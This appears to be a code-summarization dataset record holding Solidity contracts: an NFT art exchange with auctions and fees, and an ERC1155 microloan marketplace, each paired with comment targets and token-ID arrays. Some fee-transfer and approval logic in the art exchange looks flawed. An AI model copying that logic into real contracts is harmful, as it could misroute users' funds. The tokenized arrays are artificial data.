a new token * Reverts if the given token ID already exists * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address to, uint256 tokenId) internal { require(to != address(0)); _addTokenTo(to, tokenId); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { _clearApproval(owner, tokenId); _removeTokenFrom(owner, tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to clear current approval of a given token ID * Reverts if the given address is not indeed the owner of the token * @param owner owner of the token * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner); if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } /** * @dev Internal function to add a token ID to the list of a given address * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenTo(address to, uint256 tokenId) internal { require(_tokenOwner[tokenId] == address(0)); _tokenOwner[tokenId] = to; _ownedTokensCount[to] = _ownedTokensCount[to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFrom(address from, uint256 tokenId) internal { require(ownerOf(tokenId) == from); _ownedTokensCount[from] = _ownedTokensCount[from].sub(1); _tokenOwner[tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallSafeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received( msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } } contract ERC721Metadata is ERC165, ERC721, IERC721Metadata { // Token name string internal _name; // Token symbol string internal _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ /** * @dev Constructor function */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Metadata); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId)); return _tokenURIs[tokenId]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign */ function _setTokenURI(uint256 tokenId, string memory uri) internal { require(_exists(tokenId)); _tokenURIs[tokenId] = uri; } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ /** * @dev Constructor function */ constructor() public { // register the supported interface to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721Enumerable); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex( address owner, uint256 index ) public view returns (uint256) { require(index < balanceOf(owner)); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply()); return _allTokens[index]; } /** * @dev Internal function to add a token ID to the list of a given address * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenTo(address to, uint256 tokenId) internal { super._addTokenTo(to, tokenId); uint256 length = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); _ownedTokensIndex[tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFrom(address from, uint256 tokenId) internal { super._removeTokenFrom(from, tokenId); // To prevent a gap in the array, we store the last token in the index of the token to delete, and // then delete the last slot. uint256 tokenIndex = _ownedTokensIndex[tokenId]; uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 lastToken = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastToken; // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list _ownedTokensIndex[tokenId] = 0; _ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Reorg all tokens array uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 lastToken = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastToken; _allTokens[lastTokenIndex] = 0; _allTokens.length--; _allTokensIndex[tokenId] = 0; _allTokensIndex[lastToken] = tokenIndex; } } contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } contract BAE is ERC721Full, Helpers { using SafeMath for uint256; /// @dev - extra events on the ERC721 contract event Sold(uint indexed _tokenId, address _from, address _to, uint indexed _price); event Deleted(uint indexed _tokenId, address _from); event PaymentsContractChange(address _prevAddress, address _futureAddress); event AuctionContractChange(address _prevAddress, address _futureAddress); Payments public tokenInterface; mapping (uint => address) artTransApprovals; constructor() ERC721Full("BlockchainArtExchange", "BAE") public {} /// @dev functions affecting ERC20 tokens function setPaymentAddress(address payable _newAddress) public onlyCEO whenPaused { Payments tokenInterfaceCandidate = Payments(_newAddress); tokenInterface = tokenInterfaceCandidate; } function createArtpiece( string memory _name, string memory _artist, string memory _thumbnailUrl, string memory _mainUrl, string memory _notes, string memory _grade, uint256 _dateCreatedByTheArtist, uint64 _price, uint64 _basePrice, uint8 _remainingPrintings, bool _physical ) public { super._createArtpiece(_name, _artist, _thumbnailUrl, _mainUrl, _notes, _grade, _dateCreatedByTheArtist, _price, _basePrice, _remainingPrintings, _physical); _mint(msg.sender, artpieces.length - 1); } function calculateFees(uint _tokenId) public payable whenNotPaused returns (uint baeFee, uint royaltyFee, uint potFee) { /// @dev check this will not bring problems in the future or should we be using SafeMath library. uint baeFeeAmount = (uint(artpieces[_tokenId].baeFeeLevel) * msg.value) / 100; uint artistFeeAmount = (uint(artpieces[_tokenId].feeLevel) * msg.value) / 100; /// @dev any extra money will be added to the pot uint potFeeAmount = msg.value - (baeFeeAmount + artistFeeAmount); return (baeFeeAmount, artistFeeAmount, potFeeAmount); } /// @dev - this should be getting the royalty fee so we get the remaining as what is the bae fee function payFees(uint256 _baeFee, uint256 _royaltyFee, uint256 _potFee, address payable _seller) public payable whenNotPaused { uint totalToPay = _baeFee + _royaltyFee + _potFee; require( msg.value >= totalToPay, "Value must be equal or greater than the cost of the fees" ); BAEFeeAddress.transfer(msg.value.sub(_baeFee)); _seller.transfer(msg.value.sub(_royaltyFee)); // we send the value left of the message to the POT contract address(tokenInterface).transfer(msg.value); } /// @dev set post-purchase data function _postPurchase(address _from, address _to, uint256 _tokenId) internal { artCollection[_to] = artCollection[_to].add(1); artCollection[_from] = artCollection[_from].sub(1); numArtInAddress[_tokenId] = _to; if (artpieces[_tokenId].metadata.isFirstSale) { artpieces[_tokenId].feeLevel = uint8(96); artpieces[_tokenId].baeFeeLevel = uint8(3); /// potFeeLevel is calculated from adding up (baeFeeLevel + royaltyFee) - 100 } /// @dev we set this as not being the first sale anymore artpieces[_tokenId].metadata.isFirstSale = false; emit Sold(_tokenId, _from, _to, artpieces[_tokenId].price); } /// @dev this method is not part of erc-721 - not yet tested function deleteArtpiece(uint256 _tokenId) public onlyCLevelOrOwner whenNotPaused onlyBeforeFirstSale(_tokenId) returns (bool deleted) { address _from = numArtInAddress[_tokenId]; delete numArtInAddress[_tokenId]; artCollection[_from] = artCollection[_from].sub(1); _burn(_from, _tokenId); delete artpieces[_tokenId]; emit Deleted(_tokenId, _from); return true; } /// @dev - we override this so only the CEO can call it. function pause() public onlyCEO whenNotPaused { super.pause(); } } contract PerishableSimpleAuction is Destructible { using SafeMath for uint256; event AuctionCreated(uint id, address seller); event AuctionWon(uint tokenId, address _who); event SellerPaid(bool success, uint amount); BAECore public baeInstance; bool private currentAuction; struct Auction { uint256 tokenId; uint256 startingPrice; uint256 finalPrice; address payable seller; uint8 paid; } // When someone wins add it to this mapping /// @dev address => uint === winnerAddress => tokenId mapping (uint => address) public winners; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) public tokenIdToAuction; mapping (uint256 => uint256) public tokendIdToAuctionId; /// @dev auction array Auction[20] public auctions; /// @dev auction index uint public idx = 0; /// @dev cut on each auction uint256 public baeAuctionFee = 0.01 ether; modifier onlyAuctionOwner() { require(msg.sender == owner); _; } modifier onlyAuctionLord() { require(msg.sender == address(baeInstance)); _; } constructor() public { paused = true; ceoAddress = msg.sender; } function setIsCurrentAuction(bool _current) external onlyCEO { currentAuction = _current; } /// @dev this should be done when paused as it breaks functionality /// @dev changes the current contract interaccting with the auction function setBAEAddress(address payable _newAddress) public onlyAuctionOwner whenPaused { address currentInstance = address(baeInstance); BAECore candidate = BAECore(_newAddress); baeInstance = candidate; require(address(baeInstance) != address(0) && address(baeInstance) != currentInstance); } function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _finalPrice, address payable _seller ) external whenNotPaused onlyAuctionLord { if (tokendIdToAuctionId[_tokenId] != 0) { require(tokenIdToAuction[_tokenId].paid == 1); } require(idx <= 20); Auction memory newAuction = Auction(_tokenId, _startingPrice, _finalPrice, _seller, 0); auctions[idx] = newAuction; tokenIdToAuction[_tokenId] = newAuction; tokendIdToAuctionId[_tokenId] = idx; idx = idx.add(1); emit AuctionCreated(idx, _seller); } /// @dev this function sets who won that auction and allows the token to be marked as approved for sale. function hasWon(uint256 _auctionId, address _winner, uint256 _finalBidPrice) external whenNotPaused onlyAuctionLord { winners[auctions[_auctionId].tokenId] = _winner; auctions[_auctionId].finalPrice = _finalBidPrice; emit AuctionWon(auctions[_auctionId].tokenId, _winner); } function winnerCheckWireDetails(uint _auctionId, address _sender) external view whenNotPaused returns(address payable, uint, uint) { /// get the storage variables uint finalPrice = auctions[_auctionId].finalPrice; uint tokenId = auctions[_auctionId].tokenId; address winnerAddress = winners[tokenId]; address payable seller = auctions[_auctionId].seller; /// get winner address and check it is in the winners' mapping require(_sender == winnerAddress); return (seller, tokenId, finalPrice); } function setPaid(uint _auctionId) external whenNotPaused onlyAuctionLord { require(auctions[_auctionId].paid == 0); auctions[_auctionId].paid = 1; emit SellerPaid(true, auctions[_auctionId].finalPrice); } /** Takes an auctionId to get the tokenId for the auction and returns the address of the winner. */ function getAuctionWinnerAddress(uint _auctionId) external view whenNotPaused returns(address) { return winners[auctions[_auctionId].tokenId]; } function getFinalPrice(uint _auctionId) external view whenNotPaused returns(uint) { return auctions[_auctionId].finalPrice; } function getAuctionDetails(uint _auctionId) external view whenNotPaused returns (uint, uint, uint, address, uint) { return (auctions[_auctionId].tokenId, auctions[_auctionId].startingPrice, auctions[_auctionId].finalPrice, auctions[_auctionId].seller, auctions[_auctionId].paid); } function getCurrentIndex() external view returns (uint) { uint val = idx - 1; if (val > 20) { return 0; } return val; } function getTokenIdToAuctionId(uint _tokenId) external view returns (uint) { return tokendIdToAuctionId[_tokenId]; } function unpause() public onlyAuctionOwner whenPaused { require(address(baeInstance) != address(0)); super.unpause(); } function () external payable { revert(); } } contract BAECore is BAE { using SafeMath for uint256; /// @dev this will be private so no one can see where it is living and will be deployed by another address PerishableSimpleAuction private instanceAuctionAddress; constructor() public { paused = true; ceoAddress = msg.sender; } function setAuctionAddress(address payable _newAddress) public onlyCEO whenPaused { PerishableSimpleAuction possibleAuctionInstance = PerishableSimpleAuction(_newAddress); instanceAuctionAddress = possibleAuctionInstance; } /// @dev we can also charge straight away by charging an amount and making this function payable function createAuction(uint _tokenId, uint _startingPrice, uint _finalPrice) external whenNotPaused { require(ownerOf( _tokenId) == msg.sender, "You can't transfer an artpiece which is not yours"); require(_startingPrice >= artpieces[_tokenId].metadata.basePrice); instanceAuctionAddress.createAuction(_tokenId, _startingPrice,_finalPrice, msg.sender); /// @dev - approve the setWinnerAndPrice callers setApprovalForAll(owner, true); setApprovalForAll(ceoAddress, true); setApprovalForAll(cfoAddress, true); setApprovalForAll(cooAddress, true); } function getAuctionDetails(uint _auctionId) public view returns (uint) { (uint tokenId,,,,) = instanceAuctionAddress.getAuctionDetails(_auctionId); return tokenId; } /// @dev this should be cleared from the array if its called on a second time. function setWinnerAndPrice(uint256 _auctionId, address _winner, uint256 _finalPrice, uint256 _currentPrice) external onlyCLevelOrOwner whenNotPaused returns(bool hasWinnerInfo) { (uint tokenId,,,,) = instanceAuctionAddress.getAuctionDetails(_auctionId); require(_finalPrice >= uint256(artpieces[tokenId].metadata.basePrice)); approve(_winner, tokenId); instanceAuctionAddress.hasWon(_auctionId, _winner, _finalPrice); tokenInterface.setFinalPriceInPounds(_currentPrice); return true; } function calculateFees(uint _tokenId, uint _fullAmount) internal view whenNotPaused returns (uint baeFee, uint royaltyFee, uint potFee) { /// @dev check this will not bring problems in the future or should we be using SafeMath library. uint baeFeeAmount = (uint(artpieces[_tokenId].baeFeeLevel) * _fullAmount) / 100; uint artistFeeAmount = (uint(artpieces[_tokenId].feeLevel) * _fullAmount) / 100; /// @dev any extra money will be added to the pot uint potFeeAmount = _fullAmount - (baeFeeAmount + artistFeeAmount); return (baeFeeAmount, artistFeeAmount, potFeeAmount); } function payAndWithdraw(uint _auctionId) public payable { // calculate the share of each of the stakeholders (address payable seller, uint tokenId, uint finalPrice) = instanceAuctionAddress.winnerCheckWireDetails(_auctionId, msg.sender); (uint baeFeeAmount, uint artistFeeAmount,) = calculateFees(tokenId, finalPrice); // break msg.value it into the rightchunks require(msg.value >= finalPrice); uint baeFee = msg.value.sub(baeFeeAmount); uint artistFee = msg.value.sub(artistFeeAmount); // do the transfers BAEFeeAddress.transfer(msg.value.sub(baeFee)); seller.transfer(msg.value.sub(artistFee)); address(tokenInterface).transfer(address(this).balance); // and when the money is sent, we mark the auccion as completed instanceAuctionAddress.setPaid(_auctionId); // and since it's paid then initiate the transfer mechanism transferFrom(seller, msg.sender, tokenId); } function getWinnerAddress(uint _auctionId) public view returns(address) { return instanceAuctionAddress.getAuctionWinnerAddress(_auctionId); } function getHighestBid(uint _auctionId) public view returns(uint) { return instanceAuctionAddress.getFinalPrice(_auctionId); } function getLatestAuctionIndex() public view returns(uint) { return instanceAuctionAddress.getCurrentIndex(); } function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused { uint auctionId = instanceAuctionAddress.getTokenIdToAuctionId(_tokenId); (,,,,uint paid) = (instanceAuctionAddress.getAuctionDetails(auctionId)); require(paid == 1); super.transferFrom(_from, _to, _tokenId); _postPurchase(_from, _to, _tokenId); /// @dev this gets paid even to non artists, if it's a seller he will get the same tokenInterface.addToBAEHolders(_from); } function unpause() public onlyCEO whenPaused { require(ceoAddress != address(0)); require(address(instanceAuctionAddress) != address(0)); require(address(tokenInterface) != address(0)); require(address(BAEFeeAddress) != address(0)); super.unpause(); } /// @dev - we override this so only the CEO can call it. function pause() public onlyCEO whenNotPaused { super.pause(); } function () external payable {} }
@dev all properties of an artpiece
struct Artpiece { string thumbnailUrl; string mainUrl; string grade; uint8 baeFeeLevel; ArtpieceMetaData metadata; } Artpiece[] artpieces; mapping (uint256 => address) public numArtInAddress; mapping (address => uint256) public artCollection; mapping (uint256 => address) public artpieceApproved;
1,012,463
[ 1, 454, 1790, 434, 392, 3688, 30100, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 1201, 6834, 8414, 288, 203, 3639, 533, 9134, 1489, 31, 203, 3639, 533, 2774, 1489, 31, 203, 3639, 533, 7324, 31, 203, 3639, 2254, 28, 324, 8906, 14667, 2355, 31, 203, 3639, 1201, 6834, 8414, 6998, 1982, 31, 203, 565, 289, 203, 203, 565, 1201, 6834, 8414, 8526, 3688, 31016, 31, 203, 203, 565, 2874, 261, 11890, 5034, 516, 1758, 13, 1071, 818, 4411, 382, 1887, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 3688, 2532, 31, 203, 565, 2874, 261, 11890, 5034, 516, 1758, 13, 1071, 3688, 30100, 31639, 31, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** * Lova is a crowd-funding marketplace for 0% interest microloans inspired by Kiva * We use ERC1155 since we have lots of loans which are each unique and are comprised on non-unique shares * ERC721 wouldn't work as it only allows one owner of each loan, while we need to support multiple lenders per loan * * TODO could introduce the EXPIRED state if the loan doesn't fundraise in a set amount of time - this would allow the lenders to withdraw * TODO think about meta-transactions where the account sending and paying for execution may not be the actual sender * TODO could implement batch versions of all functions */ contract Lova is ERC1155, ERC1155Receiver, ERC1155Holder, Ownable { using Counters for Counters.Counter; // Variables mapping(uint256 => LoanInfo) _loanInfo; enum State {RAISING, FUNDED, REPAYING, REPAID} // TODO could add expired in raising and/or defaulted struct LoanInfo { address borrower; address token; uint256 numShares; uint256 sharePrice; uint256 amountRepaid; State currentState; uint256 kivaId; // For now we reference an id of a kiva loan to fetch metadata, eventually this would be independant } Counters.Counter _loanIdCounter; // Events event LoanRequested(uint256 loanId, address addr, uint256 amount); event LentToLoan(uint256 loanId, address addr, uint256 amount); event LoanFunded(uint256 loanId); event BorrowerWithdrew(uint256 loanId, uint256 amount); event BorrowerRepaid(uint256 loanId, uint256 amount); event LoanRepaid(uint256 loanId); event LenderWithdrew(uint256 loanId, address addr, uint256 amount); // Functions /** * For simplicity for now we reference a kivaId and use the Kiva API to fetch loan metadata * Eventually this would be independantly stored on IPFS * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID as per https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. */ constructor() ERC1155("https://api.kivaws.org/v2/loans/{id}") {} /** * Bubble supportsInterface down the class hierarchy */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, ERC1155Receiver) returns (bool) { return super.supportsInterface(interfaceId); } /** * Called by the borrower to "mint" a new loan for a requested amount. All loan shares are initially owned by the contract. * For now we support a kivaId to reference the Kiva API to fetch metadata * TODO we could hard-code a share price instead of having the borrower supply they're own numShares * TODO ensure token address is a real ERC-20 token, or white-list approved tokens * TODO currently hard-coding the data field to "", perhaps there's something more interesting to do */ function mint(address borrower, address token, uint256 amountRequested, uint256 sharePrice, uint256 kivaId) public { // Checks require(amountRequested > 0, "Amount requested must be greater than 0"); require(sharePrice > 0, "Share price must be greater than 0"); require(amountRequested >= sharePrice, "Amount requested must be greater than or equal to share price"); require(amountRequested % sharePrice == 0, "Amount requested must be divisible by share price"); // Effects uint256 curLoanId = _loanIdCounter.current(); uint256 numShares = amountRequested / sharePrice; _loanInfo[curLoanId] = LoanInfo({ borrower: borrower, token: token, numShares: numShares, sharePrice: sharePrice, currentState: State.RAISING, amountRepaid: 0, kivaId: kivaId }); _loanIdCounter.increment(); emit LoanRequested(curLoanId, borrower, amountRequested); // Interactions _mint(address(this), curLoanId, numShares, ""); } /** * Lender transfers ERC20 token to the contract for a specific loan, they recieve loan shares * TODO it may be confusing to specify numShares, since the lender then needs to calculate how much they're lending * TODO may need to add nonReentrant **/ function lend(uint256 loanId, uint256 numShares) payable public { // Checks require(numShares > 0, "Must lend more than 0"); require(msg.sender != _loanInfo[loanId].borrower, "Borrower can't lend to their own loan"); require(numShares <= this.sharesLeft(loanId), "Not enough shares left"); // Effects uint256 lendAmount = numShares * _loanInfo[loanId].sharePrice; emit LentToLoan(loanId, msg.sender, lendAmount); if (this.sharesLeft(loanId) == numShares) { _loanInfo[loanId].currentState = State.FUNDED; emit LoanFunded(loanId); } // Interactions ERC20(_loanInfo[loanId].token).transferFrom(msg.sender, address(this), lendAmount); this.safeTransferFrom(address(this), msg.sender, loanId, numShares, ""); } /** * After the loan is funded, the borrower withdraws their loan amount * Note: theorectically we could do this tranfer automatically on raise, but its common practice for the sender to withdraw themselves */ function borrow(uint256 loanId) public { // Checks require(msg.sender == _loanInfo[loanId].borrower, "Only the borrower can withdraw their requested amount"); require(_loanInfo[loanId].currentState == State.FUNDED, "Can only borrow in funded state"); // Effects _loanInfo[loanId].currentState = State.REPAYING; uint256 loanAmount = _loanInfo[loanId].numShares * _loanInfo[loanId].sharePrice; // Interactions ERC20(_loanInfo[loanId].token).transfer(msg.sender, loanAmount); emit BorrowerWithdrew(loanId, loanAmount); } /** * The borrwer repays the loan, they can call this multiple times until the loan is fully repaid */ function repay(uint256 loanId, uint256 amount) payable public { // Checks uint256 loanAmount = _loanInfo[loanId].numShares * _loanInfo[loanId].sharePrice; require(msg.sender == _loanInfo[loanId].borrower, "Only the borrower can repay"); require(_loanInfo[loanId].currentState == State.REPAYING, "Can only repay in repaying state"); require(loanAmount - _loanInfo[loanId].amountRepaid >= amount, "Can't repay more than loan amount"); // Effects _loanInfo[loanId].amountRepaid += amount; emit BorrowerRepaid(loanId, amount); if (_loanInfo[loanId].amountRepaid >= loanAmount) { _loanInfo[loanId].currentState = State.REPAID; emit LoanRepaid(loanId); } // Interactions ERC20(_loanInfo[loanId].token).transferFrom(msg.sender, address(this), amount); } /** * Lenders can burn their shares to redeem the underlying loan repayments * Note: this isn't ideal as it allows the first lenders to burn to retrieve all their lent amount, * ideally each repayment would be distributed evenly across all loan shares, but this would invovle keeping * track of a repaid amount and withrawn amount for each loan share, which is a lot of storage */ function burn(address account, uint256 loanId, uint256 numShares) public virtual { // Checks require(msg.sender == account || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved"); require( _loanInfo[loanId].currentState == State.REPAYING || _loanInfo[loanId].currentState == State.REPAID, "Can only burn in repaying or repaid states" ); uint256 withdrawAmount = _loanInfo[loanId].sharePrice * numShares; require(withdrawAmount <= _loanInfo[loanId].amountRepaid, "Can't withdraw more than amount repaid"); // Effects emit LenderWithdrew(loanId, msg.sender, withdrawAmount); // Interactions _burn(account, loanId, numShares); ERC20(_loanInfo[loanId].token).transfer(msg.sender, withdrawAmount); } /** * Convinence function to get the number of shares left to fund for a loan (ie still owned by the contract) */ function sharesLeft(uint256 loanId) public view returns (uint256) { return this.balanceOf(address(this), loanId); } /** * Get loan info for an individual loan id */ function loanInfo(uint256 loanId) public view returns (LoanInfo memory) { return _loanInfo[loanId]; } /** * Loans increment sequentially from 0 */ function loanCount() public view returns (uint256) { return _loanIdCounter.current(); } }
* Get loan info for an individual loan id/
function loanInfo(uint256 loanId) public view returns (LoanInfo memory) { return _loanInfo[loanId]; }
15,883,308
[ 1, 967, 28183, 1123, 364, 392, 7327, 28183, 612, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
